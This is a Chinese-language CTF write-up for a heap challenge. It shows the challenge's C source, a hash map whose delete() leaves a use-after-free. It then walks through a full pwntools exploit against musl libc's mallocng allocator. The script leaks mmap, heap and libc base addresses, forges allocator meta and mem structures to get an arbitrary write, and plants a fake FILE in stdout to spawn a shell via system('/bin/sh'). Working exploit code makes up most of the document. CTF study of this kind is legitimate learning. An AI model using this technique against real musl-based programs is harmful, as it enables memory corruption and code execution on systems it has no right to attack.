1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> static int recvuntil (void *buf, size_t n) { for (int i = 0 ; i < n; i++) { char c; if (read(0 , &c, 1 ) != 1 ) { return i; } ((char *)buf)[i] = c; if (c == '\n' ) { ((char *)buf)[i] = 0 ; return i; } } return n; } static int readint () { char buf[0x10 ] = {0 }; recvuntil(&buf, sizeof (buf)); return atoi(buf); } static size_t read_key (uint8_t **key) { printf ("key size: " ); size_t key_size = readint(); *key = calloc (1 , key_size); printf ("key content: " ); return recvuntil(*key, key_size); } static size_t read_value (uint8_t **value) { printf ("value size: " ); size_t value_size = readint(); *value = calloc (1 , value_size); printf ("value content: " ); return recvuntil(*value, value_size); } struct node { uint8_t *key; uint8_t *value; size_t key_size; size_t value_size; uint64_t hash; struct node *next ; }; static uint32_t key_hash (const uint8_t *key, size_t key_size) { uint64_t h = 2021 ; for (int i = 0 ; i < key_size; i++) { h = h * 0x13377331 + key[i]; } return h; } static void value_dump (const uint8_t *data, size_t size) { printf ("%#lx:" , size); for (int i = 0 ; i < size; i++) { printf ("%02x" , data[i]); } puts ("" ); } #define HASH_SIZE 0x1000 #define HASH_MASK (HASH_SIZE - 1) static struct node *list_heads [HASH_SIZE ];static void menu () { puts ("1: store" ); puts ("2: query" ); puts ("3: delete" ); puts ("4: exit" ); printf ("option: " ); } static struct node *lookup (const uint8_t *key, size_t key_size) { uint64_t h = key_hash(key, key_size); for (struct node *n = list_heads[h & HASH_MASK]; n; n = n->next) { if (n->hash == h && n->key_size == key_size && !memcmp (key, n->key, key_size)) { return n; } } return NULL ; } static void store () { struct node *node = calloc (1 , sizeof (struct node)); node->key_size = read_key(&node->key); node->value_size = read_value(&node->value); node->hash = key_hash(node->key, node->key_size); const uint32_t h = node->hash & HASH_MASK; struct node *next = list_heads[h]; list_heads[h] = node; node->next = next; puts ("ok" ); } static void query () { uint8_t *key = NULL ; size_t key_size = read_key(&key); struct node *n = lookup(key, key_size); if (n == NULL ) { puts ("err" ); } else { value_dump(n->value, n->value_size); puts ("ok" ); } free (key); } static void delete () { uint8_t *key = NULL ; size_t key_size = read_key(&key); struct node *n = lookup(key, key_size); if (n == NULL ) { puts ("err" ); } else { struct node **p = &list_heads[n->hash & HASH_MASK]; if (*p == n || n->next != NULL ) { while (*p != n) { p = &(*p)->next; } *p = n->next; } else { } free (n->key); free (n->value); free (n); puts ("ok" ); } free (key); } int main (int argc, char ** argv) { setvbuf(stdout , NULL , _IONBF, 0 ); setvbuf(stderr , NULL , _IONBF, 0 ); while (1 ) { menu(); int op = readint(); switch (op) { case 1 : store(); break ; case 2 : query(); break ; case 3 : delete(); break ; case 4 : puts ("bye" ); exit (0 ); default : puts ("invalid" ); exit (0 ); } } return 0 ; }
题目分析 很好,一做题就废,跟着sung3r师傅的文章才一步一步的复现出来,这里就对sung3r的文章进行部分补充 需要注意:需要等group内所有chunk都处于freed或者used状态时,才会将freed状态的chunk转换成avaliable 可以看到query()函数每次打印的数据是该哈希链表最外侧结点的数据,而插入结点则是将结点插入最内侧 可以看到delete()函数当n为哈希链表的尾部且该哈希链表的结点个数大于一个时,会跳过循环直接进行free,存在UAF漏洞 每次store时,都会申请0x30大小的空间来存储改结点的信息,该空间结构为:
交互脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 def store (key_content, value_content, key_size=None , value_size=None , wait=True ): p.sendlineafter('option: ' , '1' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) if value_size is None : value_size = len (value_content) p.sendlineafter('size: ' , str (value_size)) if wait: p.recvuntil('content: ' ) p.send(value_content) def query (key_content, key_size=None , wait=True ): p.sendlineafter('option: ' , '2' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) if wait: p.recvuntil('content: ' ) p.send(key_content) def delete (key_content, key_size=None ): p.sendlineafter('option: ' , '3' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) def get_hash (content ): x = 0x7e5 for c in content: x = ord (c) + x * 0x13377331 return x & 0xfff def find_key (length=0x10 , h=0x7e5 ): while True : x = '' .join(random.choice(string.ascii_letters + string.digits) for _ in range (length)) if get_hash(x) == h: return x
泄露地址 这里粘贴sung3r师傅关于group对chunk的管理策略:
chunk按照内存先后,依次分配
free掉的chunk不能马上分配
需要等group内所有chunk都处于freed或者used状态时,才会将freed状态的chunk转换成avaliable
分配chunk时,会将user data域用\x00初始化
接下来即可利用堆风水来进行地址的泄露 我们首先申请随便申请一个堆块,来防止防止free掉group所有chunk时,将整个group内存归还给堆管理器
我们来看看此时的group的情况:
可以发现,该存储0x30大小堆块的group最多可以存储7个堆块 接下来,除最后一个与第一个chunk,其余全部free掉
1 2 for _ in range (5 ): query(b'A' * 0x30 )
接下来:
1 store(b'\n' , b'B' * 0x30 )
group的布局为:
再申请一个与’\n’同hash的chunk:
这个时候’\n’的哈希链表中就有两个元素,group的布局为:
此时将key为’\n’的堆块删除并将group未被使用的堆块全部free掉:
1 2 3 4 delete(b'\n' ) for _ in range (3 ): query(b'A' * 0x30 )
由前面的分析可以知道,此时触发的UAF漏洞,被标为UAF的堆块即为’\n’堆块的value区域,我们可以通过将另一个堆块的struct结构体申请到这里,从而通过query函数访问’\n’来泄露出value的地址。此时group的布局为:
最后申请一个堆块泄露地址:
1 2 store(b'A\n' , b'A' , 0x1200 ) query(b'\n' )
group布局为:
同样,我们也能够用相同的策略将libc基地址等内存信息leak出来 leak代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 store(b'A' , b'A' ) for _ in range (5 ): query(b'A' * 0x30 ) store(b'\n' , b'B' * 0x30 ) store(find_key(), b'A' ) delete(b'\n' ) for _ in range (3 ): query(b'A' * 0x30 ) store(b'A\n' , b'A' , 0x1200 ) query(b'\n' ) res = codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' ) mmap_base = u64(res[:8 ]) - 0x20 chunk_addr = u64(res[8 :0x10 ]) for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(chunk_addr - 0x60 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) heap_base = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0x1d0 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base + 0xf0 ) + p64(0 ) + p64(0x200 ) + p64(0x7e5 ) + p64(0 )) query('\n' ) libc.address = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0xb7040 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(next (libc.search(b'/bin/sh\0' ))) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) assert codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ] == b'/bin/sh\0' for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) secret = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) log.info('mmap base: %#x' % mmap_base) log.info('chunk address: %#x' % chunk_addr) log.info('heap base: %#x' % heap_base) log.info('libc base: %#x' % libc.address) log.info('secret: %#x' % secret) fake_meta_addr = mmap_base + 0x2010 fake_mem_addr = mmap_base + 0x2040 stdout = libc.address + 0xb4280 log.info('fake_meta_addr: %#x' % fake_meta_addr) log.info('fake_mem_addr: %#x' % fake_mem_addr) log.info('stdout: %#x' % stdout)
泄露出地址后,即可通过伪造meta_area、meta、mem来利用unlink,实现任意地址写,此时即可在stdout中写入fake file然后getshell 即2次free掉自己伪造的group来实现任意地址分配 嘶,好像有点说不清,跟着exp一步一步调试即可知道详细原理QWQ,unlink的和fsop的原理上面有讲过(晚点补,如果有机会的话) 其实我感觉meta的伪造好像可以当成模板来使用?
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 from pwn import *from LibcSearcher import *from ctypes import *from struct import packimport numpy as npimport codecsp = process(['./libc.so' ,'./pwn' ]) context(arch='amd64' , os='linux' , log_level='debug' ) context.terminal = ['wt.exe' , '-w' , "0" , "sp" , "-d" , "." , "wsl.exe" , "-d" , "Ubuntu-22.04" , "bash" , "-c" ] libc = ELF('./libc.so' ) def store (key_content, value_content, key_size=None , value_size=None , wait=True ): p.sendlineafter('option: ' , '1' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) if value_size is None : value_size = len (value_content) p.sendlineafter('size: ' , str (value_size)) if wait: p.recvuntil('content: ' ) p.send(value_content) def query (key_content, key_size=None , wait=True ): p.sendlineafter('option: ' , '2' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) if wait: p.recvuntil('content: ' ) p.send(key_content) def delete (key_content, key_size=None ): p.sendlineafter('option: ' , '3' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) def get_hash (content ): x = 0x7e5 for c in content: x = ord (c) + x * 0x13377331 return x & 0xfff def find_key (length=0x10 , h=0x7e5 ): while True : x = '' .join(random.choice(string.ascii_letters + string.digits) for _ in range (length)) if get_hash(x) == h: return x store(b'A' , b'A' ) for _ in range (5 ): query(b'A' * 0x30 ) store(b'\n' , b'B' * 0x30 ) store(find_key(), b'A' ) delete(b'\n' ) for _ in range (3 ): query(b'A' * 0x30 ) store(b'A\n' , b'A' , 0x1200 ) query(b'\n' ) res = codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' ) mmap_base = u64(res[:8 ]) - 0x20 chunk_addr = u64(res[8 :0x10 ]) for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(chunk_addr - 0x60 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) heap_base = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0x1d0 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base + 0xf0 ) + p64(0 ) + p64(0x200 ) + p64(0x7e5 ) + p64(0 )) query('\n' ) libc.address = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0xb7040 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(next (libc.search(b'/bin/sh\0' ))) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) assert codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ] == b'/bin/sh\0' for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) secret = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) log.info('mmap base: %#x' % mmap_base) log.info('chunk address: %#x' % chunk_addr) log.info('heap base: %#x' % heap_base) log.info('libc base: %#x' % libc.address) log.info('secret: %#x' % secret) fake_meta_addr = mmap_base + 0x2010 fake_mem_addr = mmap_base + 0x2040 stdout = libc.address + 0xb4280 log.info('fake_meta_addr: %#x' % fake_meta_addr) log.info('fake_mem_addr: %#x' % fake_mem_addr) log.info('stdout: %#x' % stdout) sc = 8 freeable = 1 last_idx = 0 maplen = 1 fake_meta = b'' fake_meta += p64(stdout - 0x18 ) fake_meta += p64(fake_meta_addr + 0x30 ) fake_meta += p64(fake_mem_addr) fake_meta += p32(0 ) + p32(0 ) fake_meta += p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx) fake_meta += p64(0 ) fake_mem = b'' fake_mem += p64(fake_meta_addr) fake_mem += p32(1 ) fake_mem += p32(0 ) payload = b'' payload += b'A' * 0xaa0 payload += p64(secret) + p64(0 ) payload += fake_meta payload += fake_mem payload += b'\n' for _ in range (2 ): query(b'A' * 0x30 ) query(payload, 0x1200 ) store(b'A' , p64(0 ) + p64(fake_mem_addr + 0x10 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) delete(b'\n' ) sc = 8 last_idx = 1 fake_meta = b'' fake_meta += p64(0 ) fake_meta += p64(0 ) fake_meta += p64(fake_mem_addr) fake_meta += p32(0 ) + p32(0 ) fake_meta += p64((sc << 6 ) | last_idx) fake_meta += p64(0 ) fake_mem = b'' fake_mem += p64(fake_meta_addr) fake_mem += p32(1 ) fake_mem += p32(0 ) payload = b'' payload += b'A' * 0xa90 payload += p64(secret) + p64(0 ) payload += fake_meta payload += fake_mem payload += b'\n' query(b'A' * 0x30 ) query(payload, 0x1200 ) store(b'A' , p64(0 ) + p64(fake_mem_addr + 0x10 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) delete(b'\n' ) fake_meta = b'' fake_meta += p64(fake_meta_addr) fake_meta += p64(fake_meta_addr) fake_meta += p64(stdout - 0x10 ) fake_meta += p32(1 ) + p32(0 ) fake_meta += p64((sc << 6 ) | last_idx) fake_meta += b'A' * 0x18 fake_meta += p64(stdout - 0x10 ) payload = b'' payload += b'A' * 0xa80 payload += p64(secret) + p64(0 ) payload += fake_meta payload += b'\n' query(payload, 0x1200 ) fake_file = b"" fake_file += b"/bin/sh" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(libc.symbols['system' ]) fake_file = fake_file.ljust(0x80 , b'\x00' ) store(b'A' , fake_file, value_size=0x80 , wait=False ) p.interactive()
参考文章 https://bbs.kanxue.com/thread-269533.htm https://www.anquanke.com/post/id/246929 https://blog.csdn.net/qq_45323960/article/details/129800670 https://www.anquanke.com/post/id/241104#h2-3